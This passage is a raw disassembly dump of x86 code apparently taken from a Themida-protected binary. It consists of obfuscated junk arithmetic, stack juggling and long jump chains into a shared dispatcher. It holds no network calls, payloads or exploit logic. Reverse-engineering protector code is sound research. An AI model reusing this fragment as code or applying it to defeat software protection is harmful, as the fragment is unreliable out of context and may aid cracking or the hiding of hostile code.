loc_5A8548 ; --------------------------------------------------------------------------- loc_5A2C1A: ; CODE XREF: Themida_:005A78F9j ; Themida_:005AD99Aj shl edx, 1 jmp loc_59D64E ; --------------------------------------------------------------------------- loc_5A2C21: ; CODE XREF: Themida_:005A9D41j xor esi, 0A036C9Fh shr esi, 1 jmp loc_5A5DC9 ; --------------------------------------------------------------------------- loc_5A2C2E: ; CODE XREF: Themida_:005A2039j sub edi, eax pop eax dec edi not edi xor edi, 168D5ED6h xor edi, 63596F9Dh sub eax, 264B5FFFh add eax, edi jmp loc_5AD12E ; --------------------------------------------------------------------------- loc_5A2C4C: ; CODE XREF: Themida_:005A7890j sub ecx, esi mov esi, [esp] add esp, 4 jmp loc_5ADEA9 ; --------------------------------------------------------------------------- loc_5A2C5C: ; CODE XREF: Themida_:005A9CEAj push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_5AB429 ; --------------------------------------------------------------------------- loc_5A2C6C: ; CODE XREF: Themida_:005A581Aj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp and [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2C81: ; CODE XREF: Themida_:005AD66Bj xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5A5B7F ; --------------------------------------------------------------------------- loc_5A2C8F: ; CODE XREF: Themida_:005AFBD7j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2C94: ; CODE XREF: Themida_:005AC85Fj shr ch, 6 push edx mov dh, 1Dh push ax mov al, 0FFh add dh, al pop ax jmp loc_5A908C ; --------------------------------------------------------------------------- loc_5A2CA7: ; CODE XREF: Themida_:0059D68Fj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_59D52A ; --------------------------------------------------------------------------- loc_5A2CBB: ; CODE XREF: Themida_:005A8F9Aj push edx mov edx, 3B9A679Dh xor edx, 0E875349h jmp loc_5A1890 ; --------------------------------------------------------------------------- loc_5A2CCC: ; CODE XREF: Themida_:005A901Cj xor edx, 5DC3489Fh jb loc_5AC8AF jmp loc_59A624 ; --------------------------------------------------------------------------- loc_5A2CDD: ; CODE XREF: Themida_:005A2B89j push dword ptr [esp] jmp loc_5A5E13 ; --------------------------------------------------------------------------- loc_5A2CE5: ; CODE XREF: Themida_:0059C0F6j mov bl, cl pop ecx sub al, bl pop ebx mov ecx, [esp] push ecx jmp loc_599A69 ; --------------------------------------------------------------------------- loc_5A2CF4: ; CODE XREF: Themida_:00598B37j push esp pop ebx jmp loc_59B721 ; --------------------------------------------------------------------------- loc_5A2CFB: ; CODE XREF: Themida_:005A4F67j push eax mov eax, 590C6F83h neg eax push ecx mov ecx, 6136A7Dh shl ecx, 1 and ecx, 1C76015Bh jmp loc_5A55EB ; --------------------------------------------------------------------------- loc_5A2D16: ; CODE XREF: Themida_:005AC22Cj push edx push dword ptr [esp+4] jmp loc_5A056B ; --------------------------------------------------------------------------- loc_5A2D20: ; CODE XREF: Themida_:00598CB7j ; Themida_:0059E8A0j mov esp, [esp] mov dh, [esp+4] mov [esp+4], ah mov eax, [esp] add esp, 4 not dh push eax push ecx mov cl, dh push ebx mov bh, cl mov al, bh pop ebx pop ecx mov dh, [esp+4] jmp loc_59E5C9 ; --------------------------------------------------------------------------- loc_5A2D47: ; CODE XREF: Themida_:0059D959j push 1D1h mov [esp], ebx push 2B7Ah jmp loc_59EEAA ; --------------------------------------------------------------------------- loc_5A2D59: ; CODE XREF: Themida_:0059E14Cj inc dword ptr [esp] pop ebp not ebp push ecx jmp loc_5A96B4 ; --------------------------------------------------------------------------- loc_5A2D65: ; CODE XREF: Themida_:0059FC25j mov ebp, 1 and ecx, ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_59F080 ; --------------------------------------------------------------------------- loc_5A2D7E: ; CODE XREF: Themida_:005A77EDj add edx, 162E29ACh neg edx jmp loc_598F4E ; --------------------------------------------------------------------------- loc_5A2D8B: ; CODE XREF: Themida_:005ACE74j add edi, ecx jmp loc_5A5FCA ; --------------------------------------------------------------------------- loc_5A2D92: ; CODE XREF: Themida_:005A3762j shr eax, 7 sub eax, 81108EC4h sub edi, eax pop eax jmp loc_5A90DB ; --------------------------------------------------------------------------- loc_5A2DA2: ; CODE XREF: Themida_:0059B62Aj pop esp jmp loc_59CC4B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2DB8: ; CODE XREF: Themida_:0059DAB1j neg esi jmp loc_5A5471 ; --------------------------------------------------------------------------- loc_5A2DBF: ; CODE XREF: Themida_:0059B9A5j ; Themida_:005A280Aj push ecx push 5929h mov [esp], edx jmp loc_5ACF73 ; --------------------------------------------------------------------------- loc_5A2DCD: ; CODE XREF: Themida_:0059E588j add esi, ecx pop ecx sub esp, 4 jmp loc_59A548 ; --------------------------------------------------------------------------- loc_5A2DDB: ; CODE XREF: Themida_:005A0721j pop edi push eax jmp loc_599835 ; --------------------------------------------------------------------------- loc_5A2DE2: ; CODE XREF: Themida_:005A466Fj push esp mov ecx, [esp] add esp, 4 push ebx mov ebx, 4 add ecx, ebx push dword ptr [esp] jmp loc_5A3217 ; --------------------------------------------------------------------------- loc_5A2DF9: ; CODE XREF: Themida_:0059C5BFj add [esp+4], esi jmp loc_5AD014 ; --------------------------------------------------------------------------- loc_5A2E02: ; CODE XREF: Themida_:005ACD0Bj pop edx shl edx, 4 jz loc_5A49D3 xor edx, 24F15B98h jns loc_5AFB3C shl edx, 3 jmp loc_5A5ABF ; --------------------------------------------------------------------------- push ecx mov al, 84h loc_5A2E24: ; CODE XREF: Themida_:005A298Aj xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59C059 ; --------------------------------------------------------------------------- loc_5A2E32: ; CODE XREF: Themida_:0059FD80j xor edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push ebp jmp loc_5991F7 ; --------------------------------------------------------------------------- loc_5A2E58: ; CODE XREF: Themida_:005A3FFEj push edi mov edi, 4 mov ebp, edi pop edi sub eax, 0B2E29A5h add eax, ebp add eax, 0B2E29A5h pop ebp xchg eax, [esp] mov esp, [esp] push edi push esp pop edi push edx push ecx mov ecx, 1F103C4Dh jmp loc_5A82D7 ; --------------------------------------------------------------------------- loc_5A2E83: ; CODE XREF: Themida_:005A781Cj add eax, 742B7F48h xor eax, 93EB780Ch add ecx, eax jmp loc_598B2C ; --------------------------------------------------------------------------- loc_5A2E94: ; CODE XREF: Themida_:0059E822j mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push eax push 45CCh mov [esp], edi mov edi, 7FE061A0h mov eax, edi pop edi mov esi, 0DBAABEC7h sub esi, eax pop eax sub esi, 1 push edx mov edx, 7B5B6726h or edx, 4A260072h jmp loc_599422 ; --------------------------------------------------------------------------- loc_5A2ED6: ; CODE XREF: Themida_:0059B454j add esp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx sub esp, 4 mov [esp], ecx push 2A3D2424h pop ecx or ecx, 64B913F5h shl ecx, 7 jnp loc_59C061 sub ecx, 5E9BFA7Eh add ebp, ecx pop ecx push esi loc_5A2F07: ; CODE XREF: Themida_:005A0C7Dj add ecx, 4 xchg ecx, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebp push esp jmp loc_59C7BF ; --------------------------------------------------------------------------- loc_5A2F23: ; CODE XREF: Themida_:005AE31Bj mov eax, 38h jmp loc_59BD26 ; --------------------------------------------------------------------------- loc_5A2F2D: ; CODE XREF: Themida_:0059DDFDj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5ADEDA ; --------------------------------------------------------------------------- loc_5A2F3C: ; CODE XREF: Themida_:005AF49Fj shl ebp, 5 jmp loc_5A8AA9 ; --------------------------------------------------------------------------- loc_5A2F44: ; CODE XREF: Themida_:005A665Fj pop dword ptr [edi+40h] mov eax, [esp] sub esp, 4 mov [esp], edi push 632Fh mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_5AD51A ; --------------------------------------------------------------------------- loc_5A2F75: ; CODE XREF: Themida_:00599F15j push 1F57h jmp loc_599A76 ; --------------------------------------------------------------------------- loc_5A2F7F: ; CODE XREF: Themida_:loc_59F0F9j sub ecx, 7C9DA0E2h mov ebp, ecx jmp loc_59F44C ; --------------------------------------------------------------------------- loc_5A2F8C: ; CODE XREF: Themida_:005A2834j mov ebx, [esp] push edi mov edi, esp add edi, 4 push 258Fh jmp loc_59A290 ; --------------------------------------------------------------------------- loc_5A2FA2: ; CODE XREF: Themida_:00599031j pop esp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5A317D ; --------------------------------------------------------------------------- loc_5A2FB1: ; CODE XREF: Themida_:005A2A27j sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, 4 jmp loc_5A3033 ; --------------------------------------------------------------------------- loc_5A2FC5: ; CODE XREF: Themida_:005A243Cj not eax xchg eax, ebx inc ebx jns loc_5A915C xor ebx, 14C8310Bh push edi mov ecx, ebx mov ch, 74h push small word ptr [edx] jmp loc_5A1A5C ; --------------------------------------------------------------------------- loc_5A2FE2: ; CODE XREF: Themida_:0059F84Fj mov [esp], ebx mov ebx, 5715369Eh sub ebp, ebx pop ebx pop eax push 15D0h mov [esp], esi mov esi, 2 add ebp, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_598A1F ; --------------------------------------------------------------------------- loc_5A3019: ; CODE XREF: Themida_:0059BB57j pop esp push ecx mov ecx, 4F175C5Ch and esi, ecx pop ecx shr esi, 6 add esi, 107E0382h xchg ebp, esi jmp loc_5A8061 ; --------------------------------------------------------------------------- loc_5A3033: ; CODE XREF: Themida_:005A2FC0j add eax, ebp mov ebp, [esp] push eax mov eax, esp jmp loc_5A8FD5 ; --------------------------------------------------------------------------- loc_5A3040: ; CODE XREF: Themida_:005A0E0Bj ; Themida_:005A61ACj xor ecx, ebx xor ebx, ecx xor ecx, ebx not ebx push 441Eh mov [esp], ecx push 1658h mov [esp], ebx pop ecx jmp loc_5A7821 ; --------------------------------------------------------------------------- loc_5A305E: ; CODE XREF: Themida_:0059B1FBj add ah, 95h shl ah, 5 js loc_5A7062 jmp loc_5A44C9 ; --------------------------------------------------------------------------- loc_5A306F: ; CODE XREF: Themida_:005A309Bj xor ebp, 5B753C36h jmp loc_5A836F ; --------------------------------------------------------------------------- loc_5A307A: ; CODE XREF: Themida_:005AB631j mov [esp], ebx mov ebx, eax push 528h mov [esp], ebx jmp loc_5A7F54 ; --------------------------------------------------------------------------- loc_5A308C: ; CODE XREF: Themida_:005AD6EBj pop eax push edi jmp loc_59EB0E ; --------------------------------------------------------------------------- loc_5A3093: ; CODE XREF: Themida_:loc_5A50DDj ; Themida_:005AEF16j not ebp and ebp, 702421ABh ja loc_5A306F xor ebp, 5B753C36h jmp loc_5A6768 ; --------------------------------------------------------------------------- mov [esp], ebx loc_5A30AF: ; CODE XREF: Themida_:0059BB7Bj pop edi xchg eax, [esp] mov esp, [esp] jmp loc_5A92AF ; --------------------------------------------------------------------------- loc_5A30BB: ; CODE XREF: Themida_:0059C192j jmp loc_5995B4 ; --------------------------------------------------------------------------- loc_5A30C0: ; CODE XREF: Themida_:005A4BD4j sub eax, edx jmp loc_5ABBCC ; --------------------------------------------------------------------------- loc_5A30C7: ; CODE XREF: Themida_:0059B44Bj xor ecx, [esp] pop esp mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_5ACDB5 ; --------------------------------------------------------------------------- loc_5A30D9: ; CODE XREF: Themida_:005A8999j shr edi, 7 sub edi, 40C97773h jmp loc_59BB64 ; --------------------------------------------------------------------------- loc_5A30E7: ; CODE XREF: Themida_:005AF324j add esi, ebp sub esi, 7A8809D3h pop ebp pop ecx xchg esi, [esp] jmp loc_5AA653 ; --------------------------------------------------------------------------- loc_5A30F9: ; DATA XREF: Themida_:00598870o lodsd jmp loc_5A2AD4 ; --------------------------------------------------------------------------- loc_5A30FF: ; CODE XREF: Themida_:005A6AE3j push edi mov edi, 0D9F9135Bh jmp loc_598C5F ; --------------------------------------------------------------------------- loc_5A310A: ; CODE XREF: Themida_:0059D576j xor ebx, ecx pop ecx sub ebp, 4E436415h push edi mov edi, 431F3E37h not edi or edi, 74AD18E2h dec edi dec edi jmp loc_5AC870 ; --------------------------------------------------------------------------- loc_5A3128: ; CODE XREF: Themida_:005A6F0Aj add ebx, ecx sub ebx, 12E5514Eh push esi mov esi, 14771A77h sub ebx, esi pop esi add ebx, 76666909h pop ecx add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5AF753 ; --------------------------------------------------------------------------- loc_5A3150: ; CODE XREF: Themida_:005A51E9j pop eax sub edx, 50173BC8h add edx, ebp add edx, 50173BC8h pop ebp jmp loc_5AB75E ; --------------------------------------------------------------------------- loc_5A3165: ; CODE XREF: Themida_:005A3837j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push small 694Ch mov [esp], bx mov bl, 42h jmp loc_59D23B ; --------------------------------------------------------------------------- loc_5A317D: ; CODE XREF: Themida_:005A2FACj pop esp rol dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A3187: ; CODE XREF: Themida_:0059A62Bj mov edi, edx pop edx sub [esp+8], edi pop edi jmp loc_5A662D ; --------------------------------------------------------------------------- loc_5A3194: ; CODE XREF: Themida_:005A2A1Cj pop esp jmp loc_5AB41D ; --------------------------------------------------------------------------- loc_5A319A: ; CODE XREF: Themida_:005A843Dj push esi push ebx mov ebx, 302B275Bh mov esi, ebx mov ebx, [esp] add esp, 4 shl esi, 2 xor esi, 561905F1h sub esi, 3F447665h neg esi jmp loc_59E5DA ; --------------------------------------------------------------------------- loc_5A31BF: ; CODE XREF: Themida_:005A3E0Aj ; Themida_:005AF77Aj mov [esp], edi mov edi, 45A74AF1h push ebp mov ebp, 2E3A31E6h sub ebp, 6E490488h and ebp, 7DA55B2Eh shr ebp, 8 shr ebp, 3 jmp loc_5ACC32 ; --------------------------------------------------------------------------- loc_5A31E4: ; CODE XREF: Themida_:0059B34Cj mov edi, esp jmp loc_598CD1 ; --------------------------------------------------------------------------- loc_5A31EB: ; CODE XREF: Themida_:005A6414j add ebp, 3B1F3AC6h jmp loc_59E6E9 ; --------------------------------------------------------------------------- loc_5A31F6: ; CODE XREF: Themida_:0059F347j ; Themida_:005ACC62j pop ebp xchg esi, [esp] pop esp add esp, 4 jmp loc_59F264 ; --------------------------------------------------------------------------- loc_5A3203: ; CODE XREF: Themida_:0059D3DAj or ch, 0AEh jmp loc_59BD37 ; --------------------------------------------------------------------------- loc_5A320B: ; CODE XREF: Themida_:00599292j pop eax push esi mov esi, 130349F5h jmp loc_598DAD ; --------------------------------------------------------------------------- loc_5A3217: ; CODE XREF: Themida_:005A2DF4j pop ebx jmp loc_5A540D ; --------------------------------------------------------------------------- loc_5A321D: ; CODE XREF: Themida_:005A603Dj mov ebp, 4 jmp loc_5ACC60 ; --------------------------------------------------------------------------- loc_5A3227: ; CODE XREF: Themida_:005A32C7j neg eax sub eax, 0B9098C31h jmp loc_5AA82E ; --------------------------------------------------------------------------- loc_5A3233: ; CODE XREF: Themida_:005A3E82j sub edx, 65AB7E2Dh mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A940E ; --------------------------------------------------------------------------- loc_5A324A: ; CODE XREF: Themida_:005AD5E6j jnp loc_5A793C jmp loc_5A8A63 ; --------------------------------------------------------------------------- sub ecx, 77257653h pop edi push ecx pop ebp push ebp loc_5A325F: ; CODE XREF: Themida_:0059BF87j ; Themida_:005A8280j push 26A155A7h pop ebp sub ebx, ebp jmp loc_5AC5EC ; --------------------------------------------------------------------------- loc_5A326C: ; CODE XREF: Themida_:005A7F41j or ebp, 5BD37370h not ebp xor ebp, 8FC3A460h add edx, ebp pop ebp jmp loc_5A8D05 ; --------------------------------------------------------------------------- loc_5A3282: ; CODE XREF: Themida_:0059BC6Bj sub ebp, eax pop eax neg ebp jmp loc_59F91E ; --------------------------------------------------------------------------- loc_5A328C: ; CODE XREF: Themida_:0059C3E5j add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 1000000h jmp loc_5A7FCD ; --------------------------------------------------------------------------- loc_5A32A3: ; CODE XREF: Themida_:005A4A87j mov dl, al pop eax jmp loc_5ADDC6 ; --------------------------------------------------------------------------- loc_5A32AB: ; CODE XREF: Themida_:0059C669j push edi mov edi, 5C7A3AB5h sub esp, 4 mov [esp], eax mov eax, 1D8F58BFh shr eax, 7 xor eax, 1E93533Ah jmp loc_5A3227 ; --------------------------------------------------------------------------- loc_5A32CC: ; CODE XREF: Themida_:0059C68Dj push 14A2h mov [esp], eax jmp loc_59FF88 ; --------------------------------------------------------------------------- loc_5A32D9: ; CODE XREF: Themida_:0059E069j sub esi, 4 xchg esi, [esp] pop esp push esp pop dword ptr [esp] push ebp jmp loc_59E467 ; --------------------------------------------------------------------------- loc_5A32ED: ; CODE XREF: Themida_:005ADE2Fj push ebp mov ebp, 62BD6967h add ebp, 268005E1h jmp loc_5A299E ; --------------------------------------------------------------------------- loc_5A32FE: ; CODE XREF: Themida_:005992D1j xor ecx, 64062E6Bh mov ebp, ecx pop ecx push edx push esi mov esi, 6216262Bh xor esi, 0B51458Ch neg esi xor esi, 8AD6BE41h push edi mov edi, esi jmp loc_5A9EC1 ; --------------------------------------------------------------------------- loc_5A3324: ; CODE XREF: Themida_:0059BBE5j push 503Ch mov [esp], ebx jmp loc_59A8C2 ; --------------------------------------------------------------------------- loc_5A3331: ; CODE XREF: Themida_:005AD466j pop edx add esi, 6B8F60D9h push edx mov edx, 6D7F2140h jmp loc_5AD07D ; --------------------------------------------------------------------------- loc_5A3343: ; CODE XREF: Themida_:0059B465j add eax, 0F24A6378h xor edx, eax pop eax sub ebx, 7DAE11E2h sub ebx, edx jmp loc_5A2490 ; --------------------------------------------------------------------------- loc_5A3358: ; CODE XREF: Themida_:005A66FAj add eax, 21A53C47h jo loc_5A93CB shr eax, 5 xor eax, 0AEB7C0Ch jns loc_5AA475 sub eax, 0DBEB17D1h jnz loc_5AB0EA loc_5A337C: ; CODE XREF: Themida_:0059E989j push esi mov esi, 20CD26C5h dec esi jmp loc_5A1348 ; --------------------------------------------------------------------------- loc_5A3388: ; CODE XREF: Themida_:005AF16Aj mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] jmp loc_5AD369 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push 1C3Fh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax push edx jmp loc_5A864B ; --------------------------------------------------------------------------- loc_5A33B3: ; CODE XREF: Themida_:005AA568j add esp, 4 jmp loc_5A15B1 ; --------------------------------------------------------------------------- loc_5A33BB: ; CODE XREF: Themida_:005AFA70j sub edx, 17B724DDh add edx, 0DC8846A7h sub ebp, edx pop edx jmp loc_59D5CE ; --------------------------------------------------------------------------- loc_5A33CF: ; CODE XREF: Themida_:0059D2B1j inc ebx jnz loc_5AD7BC sub ebx, 6BAAC20h mov edx, ebx pop ebx mov esi, edx sub al, 55h loc_5A33E3: ; CODE XREF: Themida_:00599609j mov ax, [esp] push ebp push ebx jmp loc_5A3A7F ; --------------------------------------------------------------------------- loc_5A33EE: ; CODE XREF: Themida_:005A7FB3j xor edx, 3C3F10DCh mov ecx, edx mov edx, [esp] add esp, 4 jmp loc_5A376F ; --------------------------------------------------------------------------- loc_5A3401: ; CODE XREF: Themida_:005AE771j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A3406: ; CODE XREF: Themida_:0059EDE4j add esp, 4 push edx mov edx, esp add edx, 4 push edi push ebx mov ebx, 4 mov edi, ebx pop ebx add edx, edi jmp loc_5AE1AB ; --------------------------------------------------------------------------- loc_5A3426: ; CODE XREF: Themida_:005ACAFFj pop edi push ebx mov ebx, esp jmp loc_5AE6D0 ; --------------------------------------------------------------------------- loc_5A342F: ; CODE XREF: Themida_:005AE299j neg edx jz loc_5AEBAE sub edx, 1217A8DBh push edx pop esi jmp loc_5A7526 ; --------------------------------------------------------------------------- loc_5A3444: ; CODE XREF: Themida_:0059F447j not ch shl ch, 2 jns loc_5AABC3 add ch, 6Eh mov bh, ch pop ecx jmp loc_5A23C4 ; --------------------------------------------------------------------------- sub esp, 4 push edi loc_5A345E: ; CODE XREF: Themida_:005AF4BAj mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp add ebp, ecx pop ecx add ebp, 4 jmp loc_5A5C28 ; --------------------------------------------------------------------------- loc_5A3481: ; CODE XREF: Themida_:loc_5AFB0Fj xor ebp, 3A826172h jnb loc_5AEED4 jmp loc_5A2550 ; --------------------------------------------------------------------------- xor ebx, 62637CCCh push ebx loc_5A3499: ; CODE XREF: Themida_:005A6855j pop ebp add esp, 4 or eax, eax jz loc_5AB121 push 28FEh jmp loc_5AC145 ; --------------------------------------------------------------------------- loc_5A34B2: ; CODE XREF: Themida_:005A4B97j ; Themida_:005AFA44j push ecx push dword ptr [esp+4] pop ecx jmp loc_59F509 ; --------------------------------------------------------------------------- loc_5A34BD: ; CODE XREF: Themida_:005A8B89j shr edx, 4 jz loc_5A1D98 add edx, 62675FC9h mov ebx, edx pop edx push edx mov edx, 64873D5Eh push ebx mov ebx, 25195553h xor edx, ebx jmp loc_5AA405 ; --------------------------------------------------------------------------- loc_5A34E2: ; CODE XREF: Themida_:005A4FB1j mov ah, 3Eh jmp loc_5A0282 ; --------------------------------------------------------------------------- loc_5A34E9: ; CODE XREF: Themida_:0059BF7Bj or edi, 4D077B47h sub edi, 7F6F7B4Bh add eax, edi pop edi push ebp jmp loc_5AEE5B ; --------------------------------------------------------------------------- loc_5A34FE: ; CODE XREF: Themida_:005A094Aj mov edx, 75344880h shl edx, 2 sub edx, 60C34DAh dec edx jmp loc_59FF17 ; --------------------------------------------------------------------------- loc_5A3512: ; CODE XREF: Themida_:005ABB6Dj pop eax dec edx push ebx mov ebx, 357036Bh add edx, 3CB32024h sub edx, ebx jmp loc_5AC52F ; --------------------------------------------------------------------------- loc_5A3527: ; CODE XREF: Themida_:005A97F1j pop ecx push cx mov cl, 81h add bl, cl pop cx add bl, dl sub bl, 81h add bl, 19h pop dx jmp loc_5AB99F ; --------------------------------------------------------------------------- loc_5A353F: ; CODE XREF: Themida_:0059CEC7j sub esp, 4 mov [esp], ebp jmp loc_59977F ; --------------------------------------------------------------------------- loc_5A354D: ; CODE XREF: Themida_:005994B6j mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], edx push 5C0Eh mov [esp], ecx push 22AC4A26h pop ecx jmp loc_59932A ; --------------------------------------------------------------------------- loc_5A356E: ; CODE XREF: Themida_:0059DCFAj pop ebx sub edx, ebp pop ebp sub edx, 4BC32BCBh pop ebx sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push ecx mov cl, dl mov bl, cl push dword ptr [esp] jmp loc_5A62CB ; --------------------------------------------------------------------------- loc_5A3590: ; CODE XREF: Themida_:005A6C4Fj pop ebp add edx, edi pop edi sub edi, edx pop edx xchg edi, [esp] pop esp mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A35A4: ; CODE XREF: Themida_:005A60F5j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A298F ; --------------------------------------------------------------------------- loc_5A35BC: ; CODE XREF: Themida_:005A869Ej add esp, 4 push 3291h mov [esp], ebp mov ebp, esp push edi push ecx push ebp mov ebp, 0E297F3Eh mov ecx, 0F9A6A609h add ecx, ebp mov ebp, [esp] add esp, 4 mov edi, 0F468310h sub edi, ecx mov ecx, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edi, 7765DCDh add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 push 48B8h mov [esp], ebp jmp loc_59908C ; --------------------------------------------------------------------------- loc_5A361E: ; CODE XREF: Themida_:005A4A2Aj mov esi, 763A658Ah jmp loc_59EBA9 ; --------------------------------------------------------------------------- loc_5A3628: ; CODE XREF: Themida_:005A9288j pop ecx mov edx, [esp] jmp loc_5A023E ; --------------------------------------------------------------------------- loc_5A3631: ; CODE XREF: Themida_:005A188Bj ; Themida_:005ADDD8j push edi jmp loc_59D064 ; --------------------------------------------------------------------------- loc_5A3637: ; CODE XREF: Themida_:0059F67Cj ; Themida_:005AC336j push esp mov eax, [esp] jmp loc_5AE9DD ; --------------------------------------------------------------------------- loc_5A3640: ; CODE XREF: Themida_:00599EA5j mov ecx, ebx jmp loc_5ADEE9 ; --------------------------------------------------------------------------- loc_5A3647: ; CODE XREF: Themida_:0059D0C3j pop eax jmp loc_5A5BBE ; --------------------------------------------------------------------------- loc_5A364D: ; CODE XREF: Themida_:0059DCE6j mov al, 83h jmp loc_5AE7FE ; --------------------------------------------------------------------------- loc_5A3654: ; CODE XREF: Themida_:005A0620j and eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_5A7B8E ; --------------------------------------------------------------------------- loc_5A3661: ; CODE XREF: Themida_:005AE9DEj push esp jmp loc_5A4345 ; --------------------------------------------------------------------------- loc_5A3667: ; CODE XREF: Themida_:005A970Dj sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_59BB79 ; --------------------------------------------------------------------------- loc_5A3677: ; CODE XREF: Themida_:0059EC81j sub ecx, edx mov edx, [esp] add esp, 4 jmp loc_5A18FC ; --------------------------------------------------------------------------- loc_5A3684: ; CODE XREF: Themida_:00598C94j ; Themida_:loc_5A7A2Aj add eax, 46C67C25h mov edi, eax pop eax sub ecx, edi jmp loc_5AABE3 ; --------------------------------------------------------------------------- loc_5A3693: ; CODE XREF: Themida_:0059ED6Ej mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esp jmp loc_59A0CE ; --------------------------------------------------------------------------- loc_5A36B2: ; CODE XREF: Themida_:0059C61Cj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx jmp loc_5ACA08 ; --------------------------------------------------------------------------- loc_5A36C5: ; CODE XREF: Themida_:0059E8DDj shl eax, 7 shr eax, 7 sub eax, 1D100DBh mov ebp, eax jmp loc_5A1E1C ; --------------------------------------------------------------------------- loc_5A36D7: ; CODE XREF: Themida_:005A9A90j mov esp, [esp] or edx, eax jmp loc_5A39BE ; --------------------------------------------------------------------------- loc_5A36E1: ; CODE XREF: Themida_:005AE053j add edi, 4 xchg edi, [esp] pop esp add edx, esi jmp loc_5A0394 ; --------------------------------------------------------------------------- loc_5A36F2: ; CODE XREF: Themida_:005A0D68j mov ebx, esp add ebx, 4 jmp loc_59BAC5 ; --------------------------------------------------------------------------- loc_5A36FF: ; CODE XREF: Themida_:005A8055j xor bh, ah pop ax xor ch, bh pop ebx add al, ch pop ecx jmp loc_5A408E ; --------------------------------------------------------------------------- loc_5A370E: ; CODE XREF: Themida_:005A780Cj mov edx, [esp] add esp, 4 jmp loc_59B2E2 ; --------------------------------------------------------------------------- loc_5A3719: ; CODE XREF: Themida_:005A8C79j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5ACEFA ; --------------------------------------------------------------------------- loc_5A3729: ; CODE XREF: Themida_:005AF7F2j mov ecx, 5BC40344h add ecx, 0A43BFCC0h jmp loc_5AE51D ; --------------------------------------------------------------------------- loc_5A3739: ; CODE XREF: Themida_:005A70DAj sub eax, edx pop edx jmp loc_5A1AF2 ; --------------------------------------------------------------------------- loc_5A3741: ; CODE XREF: Themida_:005A5400j push dword ptr [esp] jmp loc_5AD2F4 ; --------------------------------------------------------------------------- loc_5A3749: ; CODE XREF: Themida_:005A5284j add edi, edx push eax mov eax, 25511E03h xor eax, 18310597h sub eax, 66F85EF9h neg eax xor eax, 69F71DAh jmp loc_5A2D92 ; --------------------------------------------------------------------------- loc_5A3767: ; CODE XREF: Themida_:00598B5Cj mov [esp], esp jmp loc_5A38AB ; --------------------------------------------------------------------------- loc_5A376F: ; CODE XREF: Themida_:005A33FCj push ebp mov ebp, ecx jmp loc_5A5386 ; --------------------------------------------------------------------------- loc_5A3777: ; CODE XREF: Themida_:005AB192j sub ch, 0DAh sub esp, 2 mov [esp], bx mov bl, 0DBh add ch, bl pop bx add al, ch pop ecx jmp loc_5AD620 ; --------------------------------------------------------------------------- loc_5A3792: ; CODE XREF: Themida_:005ACDB0j mov esi, 68720E27h inc esi and esi, 7DEE5575h add esi, 39B37812h xor esi, 0A2157C36h push ecx mov ecx, esi mov ebp, ecx jmp loc_5A958F ; --------------------------------------------------------------------------- loc_5A37B4: ; CODE XREF: Themida_:00599738j sub edx, edi jmp loc_5A39FF ; --------------------------------------------------------------------------- loc_5A37BB: ; CODE XREF: Themida_:0059CF86j inc ebp jmp loc_5ACB04 ; --------------------------------------------------------------------------- loc_5A37C1: ; CODE XREF: Themida_:005A4CBDj xor edx, 4C425281h jnp loc_5A70D4 add edx, 0B0B5E0E3h jmp loc_59A409 ; --------------------------------------------------------------------------- loc_5A37D8: ; CODE XREF: Themida_:005AA7D1j shl ch, 2 jmp loc_5A80C7 ; --------------------------------------------------------------------------- loc_5A37E0: ; CODE XREF: Themida_:0059AB10j xchg edi, [esp] pop esp xor eax, esi mov esi, [esp] add esp, 4 jmp loc_59E3C6 ; 